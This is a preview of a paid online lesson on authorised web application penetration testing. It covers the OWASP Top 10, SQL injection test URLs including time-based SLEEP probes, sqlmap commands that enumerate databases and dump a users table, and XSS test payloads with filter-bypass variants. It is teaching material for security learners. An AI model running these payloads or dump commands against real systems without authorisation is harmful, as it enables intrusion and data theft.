You are viewing a free preview of this lesson.
Subscribe to unlock all 10 lessons in this course and every other course on LearningBro.
Web applications are the most commonly exposed attack surface for organisations. This lesson covers the OWASP Top 10, core web vulnerabilities, manual testing methodology, and the essential tool Burp Suite — all within the context of authorised testing.
Authorisation reminder: Only test web applications you own or have explicit written permission to test.
The OWASP Top 10 represents the most critical web application security risks:
| Rank | Category | Key Risk |
|---|---|---|
| A01 | Broken Access Control | Users act beyond their permissions |
| A02 | Cryptographic Failures | Sensitive data exposure |
| A03 | Injection | SQL, NoSQL, OS command injection |
| A04 | Insecure Design | Missing security controls by design |
| A05 | Security Misconfiguration | Default configs, verbose errors |
| A06 | Vulnerable & Outdated Components | Unpatched libraries/frameworks |
| A07 | Identification & Authentication Failures | Weak passwords, session issues |
| A08 | Software & Data Integrity Failures | Insecure CI/CD, unsigned updates |
| A09 | Security Logging & Monitoring Failures | Insufficient detection/response |
| A10 | Server-Side Request Forgery (SSRF) | Server makes requests to attacker-chosen URLs |
SQL injection occurs when user input is incorporated into SQL queries without proper sanitisation.
# Classic test — does the page behave differently?
https://example.com/item?id=1
https://example.com/item?id=1'
https://example.com/item?id=1' OR '1'='1
https://example.com/item?id=1' AND '1'='2
# Time-based blind SQLi
https://example.com/item?id=1' AND SLEEP(5)--
┌─────────────────────────────────────────────┐
│ SQL Injection Types │
├─────────────────┬───────────────────────────┤
│ In-band (Classic)│ │
│ ├─ Union-based │ Combines results via │
│ │ │ UNION SELECT │
│ └─ Error-based │ Extracts data from │
│ │ database error messages │
├─────────────────┼───────────────────────────┤
│ Blind │ │
│ ├─ Boolean │ True/false responses │
│ └─ Time-based │ Response time differences│
├─────────────────┼───────────────────────────┤
│ Out-of-band │ Data exfiltrated via │
│ │ DNS or HTTP requests │
└─────────────────┴───────────────────────────┘
# Basic test
sqlmap -u "https://example.com/item?id=1" --batch
# Enumerate databases
sqlmap -u "https://example.com/item?id=1" --dbs
# Enumerate tables in a database
sqlmap -u "https://example.com/item?id=1" -D target_db --tables
# Dump specific table
sqlmap -u "https://example.com/item?id=1" -D target_db -T users --dump
XSS allows attackers to inject client-side scripts into web pages viewed by other users.
| Type | Stored? | Trigger | Severity |
|---|---|---|---|
| Reflected | No | Victim clicks a crafted link | Medium |
| Stored | Yes | Script persists in the database | High |
| DOM-based | No | Client-side JS processes input | Medium |
<!-- Basic test payloads -->
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
"><script>alert('XSS')</script>
'><img src=x onerror=alert('XSS')>
<!-- Filter bypass examples -->
<ScRiPt>alert('XSS')</ScRiPt>
<img src=x onerror="alert('XSS')">
<body onload=alert('XSS')>
Subscribe to continue reading
Get full access to this lesson and all 10 lessons in this course.